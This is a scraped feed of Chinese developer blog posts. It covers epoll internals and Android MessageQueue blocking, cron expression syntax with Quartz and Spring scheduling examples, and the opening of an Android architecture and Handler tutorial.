static int ep_alloc(struct eventpoll **pep)
{
    struct eventpoll *ep;

    //申请 epollevent 内存
    ep = kzalloc(sizeof(*ep), GFP_KERNEL);

    //初始化等待队列头
    init_waitqueue_head(&ep->wq);

    //初始化就绪列表
    INIT_LIST_HEAD(&ep->rdllist);

    //初始化红黑树指针
    ep->rbr = RB_ROOT;

    ......
}

其中 eventpoll 这个结构体中的几个成员的含义如下:

  • wq: 等待队列链表。用于管理阻塞等待事件的进程,当事件到达时唤醒这些进程。
    • 当进程调用 epoll_wait 并进入阻塞状态时,这些进程会被挂到 eventpollwq 链表中。
    • 一旦有新的事件到达,软中断处理程序会遍历 wq 链表,唤醒所有在该链表中等待的进程,使它们能够处理新的事件。
  • rbr: 红黑树。用于高效管理大量文件描述符及其事件,通过红黑树实现快速查找、插入和删除。
    • 当使用 epoll_ctl 添加、修改或删除监控的文件描述符时,这些操作会在 rbr 红黑树中进行。
    • 红黑树的平衡性使得这些操作的时间复杂度为 O(log n),适合管理大量的文件描述符。
    • 红黑树节点中保存了所有需要监控的文件描述符及其相关的事件信息
  • rdllist: 就绪的描述符链表。用于保存已经触发事件的文件描述符,应用进程通过遍历 rdllist 快速获取就绪事件,避免遍历整个红黑树。
    • 当某个文件描述符上的事件发生时,内核会将该文件描述符插入到 rdllist 链表中。
    • 应用进程调用 epoll_wait 时,内核会检查 rdllist 链表,将其中的就绪文件描述符返回给应用进程。
    • 这种设计避免了应用进程在处理事件时需要遍历红黑树中的所有节点,只需要处理 rdllist 中的就绪节点即可,提高了效率。
epoll_ctl 函数
int epoll_ctl(int epfd, int op, int fd, struct epoll_event *event);
  • 功能: epoll 的事件注册函数,它不同于 select() 是在监听事件时告诉内核要监听什么类型的事件,而是在这里先注册要监听的事件类型。
  • 参数epfd: ****epoll 专用的文件描述符,epoll_create()的返回值
  • 参数op: 表示动作,用三个宏来表示:
    1. EPOLL_CTL_ADD:注册新的 fd 到 epfd 中;
    2. EPOLL_CTL_MOD:修改已经注册的fd的监听事件;
    3. EPOLL_CTL_DEL:从 epfd 中删除一个 fd;
  • 参数fd: 需要监听的文件描述符
  • 参数event: 告诉内核要监听什么事件,struct epoll_event 结构如:
  • events 可以是以下几个宏的集合:
    • EPOLLIN :表示对应的文件描述符可以读(包括对端 SOCKET 正常关闭);
    • EPOLLOUT:表示对应的文件描述符可以写;
    • EPOLLPRI:表示对应的文件描述符有紧急的数据可读(这里应该表示有带外数据到来);
    • EPOLLERR:表示对应的文件描述符发生错误;
    • EPOLLHUP:表示对应的文件描述符被挂断;
    • EPOLLET :将 EPOLL 设为边缘触发(Edge Trigger)模式,这是相对于水平触发(Level Trigger)来说的。
    • EPOLLONESHOT:只监听一次事件,当监听完这次事件之后,如果还需要继续监听这个 socket 的话,需要再次把这个 socket 加入到 EPOLL 队列里
  • 返回值: 0表示成功,-1表示失败。
epoll_wait 函数
int epoll_wait(int epfd, struct epoll_event * events, int maxevents, int timeout);
  • 功能: 等待事件的产生,收集在 epoll 监控的事件中已经发送的事件,类似于 select() 调用。
  • 参数epfd: epoll 专用的文件描述符,epoll_create()的返回值
  • 参数events: 分配好的 epoll_event 结构体数组,epoll 将会把发生的事件赋值到events 数组中(events 不可以是空指针,内核只负责把数据复制到这个 events 数组中,不会去帮助我们在用户态中分配内存)。
  • 参数maxevents: ****maxevents 告之内核这个 events 有多少个 。
  • 参数timeout: ****超时时间,单位为毫秒,为 -1 时,函数为阻塞。
  • 返回值:
    1. 如果成功,表示返回需要处理的事件数目
    2. 如果返回0,表示已超时
    3. 如果返回-1,表示失败
epoll 触发模式:水平触发与边缘触发
#include <sys/epoll.h>
#include <unistd.h>
#include <stdio.h>

int main() {
    int epoll_fd = epoll_create1(0);
    int sock_fd = /* 创建并绑定socket */;
    struct epoll_event event;
    event.events = EPOLLIN; // 水平触发是默认的
    event.data.fd = sock_fd;

    epoll_ctl(epoll_fd, EPOLL_CTL_ADD, sock_fd, &event);

    while (1) {
        struct epoll_event events[10];
        int nfds = epoll_wait(epoll_fd, events, 10, -1);
        for (int i = 0; i < nfds; ++i) {
            if (events[i].events & EPOLLIN) {
                // 处理可读事件
                char buffer[1024];
                read(events[i].data.fd, buffer, sizeof(buffer));
                printf("Read data: %s\n", buffer);
            }
        }
    }
    close(epoll_fd);
    return 0;
}

水平触发(LT)

关注点是数据是否有无只要读缓冲区不为空,写缓冲区不满,那么epoll_wait就会一直返回就绪水平触发是epoll的默认工作方式。

边缘触发(ET)

关注点是变化只要缓冲区的数据有变化,epoll_wait就会返回就绪
这里的数据变化并不单纯指缓冲区从有数据变为没有数据,或者从没有数据变为有数据,还包括了数据变多或者变少。即当buffer长度有变化时,就会触发。
假设epoll被设置为了边缘触发,当客户端写入了100个字符,由于缓冲区从0变为了100,于是服务端epoll_wait触发一次就绪,服务端读取了2个字节后不再读取。这个时候再去调用epoll_wait会发现不会就绪,只有当客户端再次写入数据后,才会触发就绪。
这就导致如果使用ET模式,那就必须保证要「一次性把数据读取&写入完」,否则会导致数据长期无法读取/写入。

epoll 为什么比select、poll更高效?
  1. epoll 采用红黑树 管理文件描述符;
    epoll使用 红黑树管理文件描述符 **,红黑树插入和删除的都是时间复杂度 O(logN),不会随着文件描述符数量增加而改变; 以保证插入、删除和查找操作的高效性。
    **epoll使用 双向链表来管理已经准备好的事件 ,以便在 epoll_wait 调用时快速返回。
    selectpoll采用数组或者链表的形式管理文件描述符,那么在遍历文件描述符时,时间复杂度会随着文件描述的增加而增加。
  2. epoll 将文件描述符的添加和检测分离, 减少了文件描述符拷贝 的消耗
    select 与 poll 调用时会将全部监听的 fd 从用户态空间拷贝至内核态空间并线性扫描一遍找出就绪的 fd 再返回到用户态。下次需要监听时,又需要把之前已经传递过的文件描述符再次传递进去,增加了拷贝文件的无效消耗,当文件描述很多时,性能瓶颈更加明显。
    epoll只需要使用epoll_ctl添加一次,后续的检查使用epoll_wait ,减少了文件拷贝的消耗。
    并且当文件描述符就绪时,epoll 会将就绪的文件描述符以链表的方式拷贝回来(
    而不是拷贝所有文件描述符 )。
三种系统调用对比
selectpollepoll
性能随着连接数的增加,性能急剧下降,处理成千上万的并发连接数时,性能很差随着连接数的增加,性能急剧下降,处理成千上万的并发连接数时,性能很差随着连接数的增加,性能基本没有变化
连接数一般1024无限制无限制
内存拷贝每次调用select拷贝每次调用poll拷贝fd首次调用epoll_ctl拷贝,每次调用epoll_wait不拷贝
数据结构bitmap数组红黑树
内在处理机制线性轮询线性轮询FD挂在红黑树,通过事件回调callback
时间复杂度O(n)O(n)O(1)

Android 系统内的实现

  • 在 Android 中,主线程 Looper 会使用 epoll 来处理和等待 I/O 事件,同时 MessageQueue 处理消息。
  • 这种结合确保了线程在处理消息的同时也可以高效地响应 I/O 事件,不需要频繁的轮询,减少了 CPU 的空转时间。

使用 epoll 机制的主要目的就是两点:① 不想做过多遍历 ②不想存在频繁的大量数据拷贝。比如 hashmap 插入删除的效率很高,其实也是因为它是和 epoll 的方式一样。

那么如果我们 Android 系统同时运行了 很多个 APP,Android 系统内部为此维护了一个红黑树,当每个 APP 启动时,系统会把每个 APP 的 Looper 结构数据加入到红黑树,以便于高效管理。

为什么 epoll 机制使用红黑树,红黑树如何高效?

可以去学习一下红黑树的数据结构,来详细的解释红黑树的插入与查找规则以及高效原因。30张图带你彻底理解红黑树_性质

当每个 APP 启动时,都会分配一个文件描述符,这个文件描述符通常是逐步增大的,而 Android 系统通过红黑树来维持这些 APP 的事件传递。

比如我我一个系统中运行了 10 个 APP,那么这是个 APP 都会有各自的文件描述符,他们的文件描述符会被插入到系统的一个红黑树结构中。

假设此时有一个事件过来,该事件内部有标记应当是由谁接收,比如事件 A 内部标记了由 APP 6 接收,那我们我们开始查找:

  1. 首先进入根节点 13,用 6 与 13 对比,6 比 13 小,所以往左边子树查找。
  2. 来节点 8,6 比 8 小,所以继续查找左边的子树。
  3. 来到 1,6 比 1 大,所以走右边的子树。
  4. 来到 6,表示查找到了目标 APP,传递给目标 APP, 完成。

这种情况下一共只比较了 4 次,最坏的情况下也只需要 10 次比较 。而且如果是 100w 个 APP,它的总查询次数在最坏情况下只需要进行约 20 次比较。比起遍历 100w 次和遍历 27 次来说,红黑树的查找非常高效。

Looper.prepare()

在 ActivityThread 的 main 函数中,执行了 Looper.prepareMainLooper();,其内部执行了Looper.prepare();而Looper.prepare()内进行了 Looper 实例的创建。

我们进入 Looper 的构造函数,可以看见其内部创建了 MessageQueue:

进入 MessageQueue,看到 mPtr=nativeInit();

nativeInit()

注意这个nativeInit,他是一个 native 函数;nativeInit方法在 Native 层初始化 MessageQueue 的相关资源,创建和配置 NativeMessageQueue 实例,并设置与 Looper 的绑定。

在 JNI 层,我们可以找到 nativeInit 的实现。在 Android 的源代码中,android_os_MessageQueue.cpp 文件包含了 JNI 方法的实现 。大致的实现如下: android_os_MessageQueue.cpp 完整源码地址

static jlong android_os_MessageQueue_nativeInit(JNIEnv* env, jclass clazz) {
    NativeMessageQueue* nativeMessageQueue = new NativeMessageQueue();
    if (!nativeMessageQueue) {
        jniThrowRuntimeException(env, "Unable to allocate native queue");
        return 0;
    }
    //插入
    nativeMessageQueue->incStrong(env);
    return reinterpret_cast<jlong>(nativeMessageQueue);//reinterpret_cast 将 NativeMessageQueue* 类型的指针转换为 jlong 类型,以便在 Java 层存储。
}
  • nativeInit函数在 Native 层初始化了一个 NativeMessageQueue 对象,并将其指针返回给 Java 层,用于 Java 层 MessageQueue 与 Native 层之间交互。
  • nativeMessageQueue->incStrong(env);incStrong(env) NativeMessageQueue 中的方法,用于增加对 Java 对象的强引用计数。这意味着,Native 层会持有对 MessageQueue 对象的一个强引用,防止该对象在垃圾回收过程中被回收。
NativeMessageQueue 类

NativeMessageQueue是负责在底层(Native 层)实现消息队列的实际功能。

当我们调用Looper.prepare()之后,Looper 会进行准备,准备的同时在当前线程创建一个 Looper并在 Looper 实例内部创建MessageQueue的实例并持有;而MessageQueue在被创建时其内部调用了 Native 层的 NativeInit()方法,从而在 Native 层创建 NativeMessageQueueNativeMessageQueue实例在 Native 层管理 MessageQueue 的实际实现细节,比如初始化与 epoll 相关的内部结构(例如,文件描述符和事件处理)。 并且NativeMessageQueue会持有当前线程的 Looper 实例,这样 NativeMessageQueue 就能够与 Java 层的 Looper 进行交互,并且管理消息队列。

NativeMessageQueue.cpp 完整源码地址

sp<Looper> mLooper;//NativeMessageQueue 中的 mLooper 成员变量是一个指向 Looper 对象的智能指针。
NativeMessageQueue::NativeMessageQueue() :
        mPollEnv(NULL), mPollObj(NULL), mExceptionObj(NULL) {
    mLooper = Looper::getForThread();
    if (mLooper == NULL) {
        mLooper = new Looper(false);
        Looper::setForThread(mLooper);
    }
}
nativeInit 的作用
  • nativeInit 方法在 Native 层初始化 MessageQueue 的相关资源,创建和配置 NativeMessageQueue 实例,并设置与 Looper 的绑定。
  • nativeInit 确保 Java 层的 MessageQueue 和 Native 层的 NativeMessageQueue 之间的正确交互。

我们 Native 层在 Java 层的Looper.prepare()执行后,会进行 Looper、MessageQueue、NativeMessagequeue的创建,并将 NativeMessagequeue 与 Looper 进行绑定从而确保 Native 层的消息队列绑定到正确的 Looper 中。

Looper.loop()

接下来进入到 Looper.loop()中一探究竟,在 loop() 函数中先是拿到当前线程的 Looper,

之后 loop()函数中开启一个死循环:

loop() 函数不断从 Looper 持有的 MessageQueue 消息队列中读取消息 :
因为MessageQueue.next()它是支持无消息时阻塞的,所以上面 Looper 开的死循环只是为了从 MessageQueue 中不断读取消息,如果 MessageQueue 没有消息,那么会阻塞在MessageQueue.next()这里,这样 Looper.loop()的 for 循环才不会 空转导致 CPU 消耗

MessageQueue.next()如何以时间排序拿取消息?同步屏障是什么?

我们来到 MessageQueue 中,先明确 next()是如何拿取消息队列的消息的。

我们现在进入 MessageQueue.next()源码:

    Message next() {
        // Return here if the message loop has already quit and been disposed.
        // This can happen if the application tries to restart a looper after quit
        // which is not supported.
        final long ptr = mPtr;
        if (ptr == 0) {
            return null;
        }

        int pendingIdleHandlerCount = -1; // -1 only during first iteration
        int nextPollTimeoutMillis = 0;
        for (;;) {
            if (nextPollTimeoutMillis != 0) {
                Binder.flushPendingCommands();
            }

            nativePollOnce(ptr, nextPollTimeoutMillis);

            synchronized (this) {
                // Try to retrieve the next message.  Return if found.
                final long now = SystemClock.uptimeMillis();
                Message prevMsg = null;
                Message msg = mMessages;
                if (msg != null && msg.target == null) {
                    // Stalled by a barrier.  Find the next asynchronous message in the queue.
                    do {
                        prevMsg = msg;
                        msg = msg.next;
                    } while (msg != null && !msg.isAsynchronous());
                }
                if (msg != null) {
                    if (now < msg.when) {
                        // Next message is not ready.  Set a timeout to wake up when it is ready.
                        nextPollTimeoutMillis = (int) Math.min(msg.when - now, Integer.MAX_VALUE);
                    } else {
                        // Got a message.
                        mBlocked = false;
                        if (prevMsg != null) {
                            prevMsg.next = msg.next;
                        } else {
                            mMessages = msg.next;
                        }
                        msg.next = null;
                        if (DEBUG) Log.v(TAG, "Returning message: " + msg);
                        msg.markInUse();
                        return msg;
                    }
                } else {
                    // No more messages.
                    nextPollTimeoutMillis = -1;
                }

                // Process the quit message now that all pending messages have been handled.
                if (mQuitting) {
                    dispose();
                    return null;
                }

                // If first time idle, then get the number of idlers to run.
                // Idle handles only run if the queue is empty or if the first message
                // in the queue (possibly a barrier) is due to be handled in the future.
                if (pendingIdleHandlerCount < 0
                        && (mMessages == null || now < mMessages.when)) {
                    pendingIdleHandlerCount = mIdleHandlers.size();
                }
                if (pendingIdleHandlerCount <= 0) {
                    // No idle handlers to run.  Loop and wait some more.
                    mBlocked = true;
                    continue;
                }

                if (mPendingIdleHandlers == null) {
                    mPendingIdleHandlers = new IdleHandler[Math.max(pendingIdleHandlerCount, 4)];
                }
                mPendingIdleHandlers = mIdleHandlers.toArray(mPendingIdleHandlers);
            }

            // Run the idle handlers.
            // We only ever reach this code block during the first iteration.
            for (int i = 0; i < pendingIdleHandlerCount; i++) {
                final IdleHandler idler = mPendingIdleHandlers[i];
                mPendingIdleHandlers[i] = null; // release the reference to the handler

                boolean keep = false;
                try {
                    keep = idler.queueIdle();
                } catch (Throwable t) {
                    Log.wtf(TAG, "IdleHandler threw exception", t);
                }

                if (!keep) {
                    synchronized (this) {
                        mIdleHandlers.remove(idler);
                    }
                }
            }

            // Reset the idle handler count to 0 so we do not run them again.
            pendingIdleHandlerCount = 0;

            // While calling an idle handler, a new message could have been delivered
            // so go back and look again for a pending message without waiting.
            nextPollTimeoutMillis = 0;
        }
    }

long ptr = mPtr;首先可以看到 mPtr变量,这是在 MessageQueue 创建时,从 nativeinit()返回的 NativeMessagequeue 的指针;紧接着映入眼帘的是一个 for 循环for(;;)

nativePollOnce()

我们查看 for 循环内的代码,有一个 nativePollOnceMessageQueue 则是通过 nativePollOnce来实现消息队列阻塞功能;后面会细说nativePollOnce()

同步屏障

之后 MessageQueue.next()中获取消息 单向链表的第一个Message。
下面框选的代码中,if (msg != null && msg.target == null) 是对同步屏障消息的一个判断。

什么是同步屏障?

在 Android 的消息队列 (MessageQueue) 中可以设置同步屏障 (sync barrier),同步屏障会阻止所有普通(同步)消息的处理,但允许异步消息继续被处理。

同步(普通)消息与异步消息的区别?

isAsynchronous ****字段用于标识消息是否是异步的。

异步消息的处理优先级通常高于同步消息,它们不会受同步屏障的影响。当某些任务有严格的实时性要求时,标记为异步消息可以确保它们能够及时被处理。

同步屏障做了什么?

  • 插入同步屏障:通过 MessageQueue.postSyncBarrier() 方法在消息队列中插入一个同步屏障消息。
  • 优先处理异步消息:在消息循环中,遇到同步屏障时,会跳过所有同步消息,优先处理异步消息。

当设置同步屏障后,同步屏障会阻止所有普通(同步)消息的处理(跳过并搁置),先将异步消息优先处理完,之后再执行同步消息。

如果当前消息是同步屏障消息,那么则进入 do while,在这里面去进行遍历,将同步事件跳过;直到找到第一个异步事件后,跳出循环,优先处理该异步事件:

之后拿到要处理的 Message, 进入下一步执行;

nextPollTimeoutMillis
if (msg != null) {
    if (now < msg.when) {
        // Next message is not ready.  Set a timeout to wake up when it is ready.
        nextPollTimeoutMillis = (int) Math.min(msg.when - now, Integer.MAX_VALUE);
    } else {
        // Got a message.
        mBlocked = false;
        if (prevMsg != null) {
            prevMsg.next = msg.next;
        } else {
            mMessages = msg.next;
        }
        msg.next = null;
        if (DEBUG) Log.v(TAG, "Returning message: " + msg);
        msg.markInUse();
        return msg;
    }
} else {
    // No more messages.
    nextPollTimeoutMillis = -1;
}

先看 if (now < msg.when)else部分,如果当前待处理消息的执行时间不大于当前时间,那么就执行该 else 代码块里面的代码,不阻塞,将该 Message 消息通过 next() 返回。

如果 if (now < msg.when)成立,即表示当前要执行的消息大于当前事件,所以需要阻塞等待到达该时间后再返回,这里只有一行代码nextPollTimeoutMillis = (int) Math.min(msg.when - now, Integer.MAX_VALUE);

MessageQueue.next()如何实现阻塞?

首先要明确一点, MessageQueue 是使用单向链表来存储消息的;而单向链表是不支持阻塞的;所以我们要弄明白,MessageQueue.next() 内部是如何实现阻塞的;Looper 的 for 循环方式会导致 CPU 空转,那么 MessageQueue 是怎么做到阻塞且不导致 CPU 空转的呢?

在 MessageQueue 中,其单向链表消息队列是通过nativeinitPollOnce实现阻塞功能的:

当我们 Java 层调用 next 函数时,此时会进入到 JNI 层的 nativePollOncenativePollOnce源码)中:可以看到其内部实现使用到了 NativeMessagequeue.pollOnce()

来到NativeMessagequeue.pollOnce(),看到里面一个 mLooper->pollOnce(timeoutMillis),其中 mLooper 是 Looper.cpp 的实例:

定位到Looper::pollOnce源码:在 poolOnce 中调用了 pollInner()

pollInner内部就使用到了epoll_wait调用:当有系统事件时,epoll_wait 会立即返回,否则阻塞等待。

调用链如下:

我们进入 Looper.cpp 源码中查找 epoll 相关的调用,可以看到 epoll_createepoll_ctlepoll_wait这几个系统调用的身影:

所以在 Looper.pollInner中是使用了 epoll 相关系统调用,通过 epoll 实现了阻塞与唤醒。

by 涂鸦cc at January 22, 2025 08:37 AM

juejin backend

解密 Cron 表达式:定时任务的利器

解密 Cron 表达式:定时任务的利器

一、Cron 表达式简介

Cron 表达式是一种用于配置定时任务的字符串表达式,它允许用户以一种简洁而灵活的方式定义任务的执行时间。Cron 表达式广泛应用于各种操作系统和编程语言中,用于自动化执行定期任务,如备份数据库、清理日志、发送定时邮件等。

二、Cron 表达式的构成

Cron 表达式由一系列由空格分隔的字段组成,每个字段代表一个时间单位。标准的 Cron 表达式由 6 或 7 个字段组成,分别代表:

  1. 秒(0 - 59)
  2. 分(0 - 59)
  3. 小时(0 - 23)
  4. 日期(1 - 31)
  5. 月份(1 - 12 或 JAN-DEC)
  6. 星期几(0 - 7 或 SUN-SAT,其中 0 和 7 都代表星期日)
  7. 年份(可选字段)

每个字段可以包含以下特殊字符:

  • *:表示所有可能的值,例如 * 在小时字段中表示每小时。
  • -:表示一个范围,例如 9-17 表示从 9 到 17 之间的所有值。
  • ,:表示多个值,例如 1,3,5 表示 1、3 和 5。
  • /:表示起始时间开始,每隔一定的间隔执行,例如 0/30 表示每 30 分钟执行一次。
  • ?:用于日期和星期几字段,表示不指定值,只能用于其中一个字段。
  • L:代表“Last”的意思,只能用于日期和星期几字段,例如 L 在日期字段中表示一个月的最后一天。
  • W:代表“Weekday”,用于日期字段,表示离指定日期最近的工作日。
  • #:用于星期几字段,表示“第几个星期几”,例如 6#3 表示一个月中的第三个星期五。
三、Cron 表达式的常见应用场景
  1. 定时备份数据库:每天凌晨 2 点备份数据库。

    0 0 2 * * ?
    
  2. 清理日志文件:每周一凌晨 3 点清理日志文件。

    0 0 3 * * 1
    
  3. 发送定时邮件:每小时的第 15 分钟发送定时邮件。

    0 15 * * * ?
    
  4. 定期检查系统状态:每 5 分钟检查一次系统状态。

    0 */5 * * * ?
    
  5. 月末处理账务:每月最后一天的 23 点 55 分处理账务。

    0 55 23 L * ?
    
四、Cron 表达式的注意事项和限制
  1. 时间单位的范围:确保每个字段的值在允许的范围内,例如秒和分的范围是 0-59,小时的范围是 0-23。
  2. ?L 的使用?L 不能同时用于日期和星期几字段。如果一个字段使用了 ?,另一个字段就不能使用 L
  3. W 的使用W 用于日期字段,表示离指定日期最近的工作日。例如,15W 表示离 15 号最近的工作日。
  4. # 的使用# 用于星期几字段,表示“第几个星期几”。例如,6#3 表示一个月中的第三个星期五。
  5. 时间间隔的计算:使用 / 时,起始时间从配置的时间开始计算。例如,0/30 表示从 0 分钟开始,每 30 分钟执行一次。
  6. 特殊字符的组合:某些特殊字符可以组合使用,但需要确保组合后的表达式有意义。例如,0-5,10-15 表示 0-5 分钟和 10-15 分钟。
五、在 Java 中使用 Cron 表达式

在 Java 中,可以使用 QuartzSpring@Scheduled 注解来使用 Cron 表达式。以下是两种常见的使用方法:

1. 使用 Quartz

Quartz 是一个功能强大的开源作业调度服务,支持复杂的调度需求。以下是一个使用 Quartz 的示例:

  1. 添加依赖:在 pom.xml 文件中添加 Quartz 的依赖项。
<dependency>
    <groupId>org.quartz-scheduler</groupId>
    <artifactId>quartz</artifactId>
    <version>2.3.2</version>
</dependency>
  1. 创建作业类:实现 Job 接口,定义任务的具体逻辑。
import org.quartz.Job;
import org.quartz.JobExecutionContext;
import org.quartz.JobExecutionException;

public class MyJob implements Job {
    @Override
    public void execute(JobExecutionContext context) throws JobExecutionException {
        System.out.println("任务执行了!");
    }
}
  1. 配置调度器:创建 Scheduler 实例,配置作业和触发器。
import org.quartz.*;
import org.quartz.impl.matchers.GroupMatcher;

import static org.quartz.TriggerBuilder.newTrigger;
import static org.quartz.JobBuilder.newJob;

public class QuartzExample {
    public static void main(String[] args) throws SchedulerException {
        // 创建调度器
        Scheduler scheduler = StdSchedulerFactory.getDefaultScheduler();

        // 定义作业
        JobDetail job = newJob(MyJob.class)
                .withIdentity("myJob", "group1")
                .build();

        // 定义触发器
        Trigger trigger = newTrigger()
                .withIdentity("myTrigger", "group1")
                .withSchedule(CronScheduleBuilder.cronSchedule("0/30 * * * * ?"))
                .forJob("myJob", "group1")
                .build();

        // 注册作业和触发器
        scheduler.start();
        scheduler.scheduleJob(job, trigger);

        // 运行一段时间后关闭调度器
        try {
            Thread.sleep(60000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
        scheduler.shutdown(true);
    }
}
2. 使用 Spring 的 @Scheduled 注解

Spring 提供了 @Scheduled 注解,可以方便地在 Spring 应用中使用 Cron 表达式。以下是一个使用 @Scheduled 注解的示例:

  1. 添加依赖:在 pom.xml 文件中添加 Spring Boot 的依赖项。
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter</artifactId>
</dependency>
  1. 启用定时任务:在主类或配置类上添加 @EnableScheduling 注解。
import org.springframework.scheduling.annotation.EnableScheduling;
import org.springframework.stereotype.Component;

@EnableScheduling
public class ScheduledTasks {
    @Scheduled(cron = "0/30 * * * * ?")
    public void fixedRateJob() {
        System.out.println("每 30 秒执行一次的任务");
    }
}
  1. 创建定时任务:在组件类中使用 @Scheduled 注解定义定时任务。
import org.springframework.scheduling.annotation.Scheduled;
import org.springframework.stereotype.Component;

@Component
public class MyScheduledTasks {

    @Scheduled(cron = "0 0 2 * * ?")
    public void backupDatabase() {
        System.out.println("每天凌晨 2 点备份数据库");
    }

    @Scheduled(cron = "0 0 3 * * 1")
    public void cleanLogs() {
        System.out.println("每周一凌晨 3 点清理日志文件");
    }
}
总结

Cron 表达式是一种强大而灵活的工具,用于配置定时任务的执行时间。通过理解其构成和使用方法,开发者可以轻松地在各种应用场景中实现自动化任务。在 Java 中,无论是使用 Quartz 还是 Spring 的 @Scheduled 注解,都能方便地利用 Cron 表达式来管理定时任务。希望本文能帮助你更好地理解和使用 Cron 表达式,提升你的开发效率。

by 拉满buff搞代码 at January 22, 2025 08:37 AM

juejin android

Handler机制(一)

内容大纲

  1. Android 系统架构介绍
  2. Handler 是什么,Handler 主要是为了解决什么问题
  3. Handler 架构图,了解四大天王:MessageQueue、Message、Handler、Looper。
  4. 手写简易版本 Handler;掌握 Looper 与 ThreadLocal。
  5. 从系统源码中学习 Handler:
    1. 了解 ActivityThread
    2. Looper 做了什么?为什么 Looper 死循环不会阻塞主线程?
    3. Message 如何复用的?( Message 回收池)
    4. Handler 如何以时间为序存储新消息
    5. MessageQueue 消息队列(单向链表)
      1. MessageQueue 如何以时间为序读取信息?同步屏障是什么?
    1. linux 的 epoll 机制
    2. Android是以什么驱动的系统
    3. MessageQueue 的消息队列如何实现阻塞的,在哪使用了 epoll?

Android系统架构

Android系统和鸿蒙系统有什么区别?Android系统是一个单体应用,从上到下;而鸿蒙系统是分布式。Android系统的整个系统架构体系都是垂直从上到下的。

Android系统架构分为五层:从上到下依次是应用层(System Apps)应用架构层(FrameWork)系统运行库层(Android内核)硬件抽象层(驱动,binder)Linux内核层,如图:

我们开发的应用属于最上层(应用层),如果要调用系统层,比如获取AMS安装服务、多媒体服务等,我们的应用就是通过中间层Framework来获取的。Framework是应用层和系统层之间的桥梁,其中Framework也包含我们常说的Android四大组件。

那么Framework是如何让应用层使用的呢,Framework层提供了一个android.jar(通过 android.jar 将允许给应用层调用的接口暴露出来),android.jar 是Framework的一部分

而且Framework还有一些独特服务,比如 content ProviderView System(控制视图的刷新、渲染,VIewSystem没有暴露给应用层使用)、Activity、loacation定位服务、package服务等。我们应用和Framework打交道都是基于 android.jar。

Android的系统架构分为五层:

  1. 首先最上面是我们的 应用层 ,应用通过 Framework **提供的 android.jar 来进行通讯。
    **
  2. **android.jar会在每个Android Studio编译的时候提供给我们

    打开Android的源码,根目录下的 frameworks 文件夹就是我们Framework层的源代码。 在线查看Android源码
    **
  3. 而Framework下面就是 Android内核(系统运行库层) ,比如 Android虚拟机(Android Runtime ART) Android内核层最核心的地方就是Android虚拟机。
    Android虚拟机有两种:一种是ART虚拟机,一种是Dalvik虚拟机 。虽然我们基本都是用的ART虚拟机,但是不排除有些很老的APP继续使用着Dalvik虚拟机。所以Android内核层还是要兼容这些使用Dalvik虚拟机环境的老APP。所以在Android系统源码中,哪怕是最新版本的系统, 它依然保留着两个虚拟机,一个ARK虚拟机,一个Dalvik虚拟机 因为Android系统是向前兼容的,所以哪怕是最新的系统也能够运行很老很老的APK。所以我们在Android系统源码中也能看到dalvik、ark文件夹。

对于搭载 Android 5.0(API 级别 21)或更高版本的设备,每个应用都在其自己的进程中运行,并且有其自己的 Android 运行时 (ART) 实例。ART 编写为通过执行 Dalvik 可执行文件格式 (DEX) 文件,在低内存设备上运行多个虚拟机。DEX 文件是一种专为 Android 设计的字节码格式,针对最小的内存占用量进行了优化。

在 Android 版本 5.0(API 级别 21)之前,Dalvik 是 Android 运行时。如果您的应用在 ART 上运行良好,那么它也可以在 Dalvik 上运行,但反过来不一定

  1. 在Android Runtime下还有个 Core Libraries,在Android系统源码中,比如 external、hardware、kernel、libcore都是属于 Core Libraries。都是虚拟机需要集成进来的库
    源码中的sdk文件夹则是属于我们的 android.jar 。
  2. Native C/C++层 是用C和C++编写的原生库。许多核心的Android系统组件和服务,如Android运行时(ART)和硬件抽象层(HAL),都是基于这些原生库构建的。这些原生库提供了高性能的底层功能,并且允许更直接地访问硬件和系统资源。

  1. 而在framework层的下一层是HAL(硬件抽象层)。
    HAL的主要功能是抽象底层硬件的细节,为上层的Framework层提供统一的接口每个模块都为特定类型的硬件组件(例如相机或蓝牙模块)实现一个接口。当应用程序通过Framework层的API访问硬件时,Framework层会调用HAL接口来实现与底层硬件的交互。这种设计使得Android系统具有更好的可移植性和模块化,硬件厂商只需实现符合HAL接口的驱动程序,就能让他们的硬件在Android系统上工作。

  1. HAL的下一层则是Linux Kernel内核层(驱动层) :内核层负责协调所有驱动程序的操作,管理系统资源,并提供必要的底层服务。
    而其中如binder蓝牙相机wifi,属于驱动程序,驱动程序是内核的一部分。
    而驱动层再往下,就是Power Management( 电源管理)了,其负责管理和优化设备的电源使用,以延长电池寿命和提高系统效率。

  1. 而在Linux Kernel层再往下走 就是真正的Linux系统内核了,Linux系统内核如何调用,在Android系统源码中都是有示例的。
    在系统源码的bionic,它就是用来将我们的Android系统和Linux系统内核进行沟通调用的桥梁。比如 线程池、对象声明、内存开辟 都是交给 bionic这层去调用Linux系统内核。

在Android11之前,Android系统架构只有四个层,并没有HAL层,HAL层的功能是从之前的驱动层抽出来的HAL与Linux Kernel都属于Linux内核层
但是从Android 11开始,就从Linux内核层中把那些硬件驱动抽象出了一个HAL抽象层,用来作为对外提供驱动接口的层。

该如何学习Framework?

需要找对切入点,不是直接上手源码。需要站在架构师的角度,不要陷入其中细节。尽量从宏观的角度去看Framework源码,同时需要把Android系统源码共同的技术特性搞清楚。

何为技术特性:Android系统作为系统源码,Framework层必然与其他层会有联系,联系就需要通信,

而通信分为两种:一种APP之间的通信一种APP内部的通信,也就是本章内容接下来要学习的Handler原理。

Binder/Socket用于进程间通信(App间),而Handler消息机制用于同进程的线程间通信(App内部)

下面就开始我们的Handler源码学习之旅。

学习Handler的目的

  • 面试
  • 使我们APP减少内存泄漏
  • Handler里面Message构建时,有种思想就是用来防止内存抖动,我们需要借鉴这种思想来优化内存抖动

为什么使用Handler?

主线程:UI线程(也叫Main Thread),当应用程序第1次启动时,同时会自动开启1条主线程,用于处理与UI相关的事件(如更新、操作等)。

子线程:工作线程,我们人为手动开启的线程,用于执行耗时操作(如网络请求、数据加载等)。

Handler 是做什么的?

Handler是一套 Android 消息传递机制,通常用于线程通信线程通信是Handler的核心。

但是,其实Handler最核心的地方不是解决线程通信,而是解决线程切换

线程通信一定要用Handler吗?

不是的,线程通信并不是一定要用Handler的;比如我们可以借助全局变量来实现线程通信,因为全局变量对于线程是共享的

使用全局变量实现线程通信

那么,我们就来试试,借助全局变量实现线程通信。

基础版

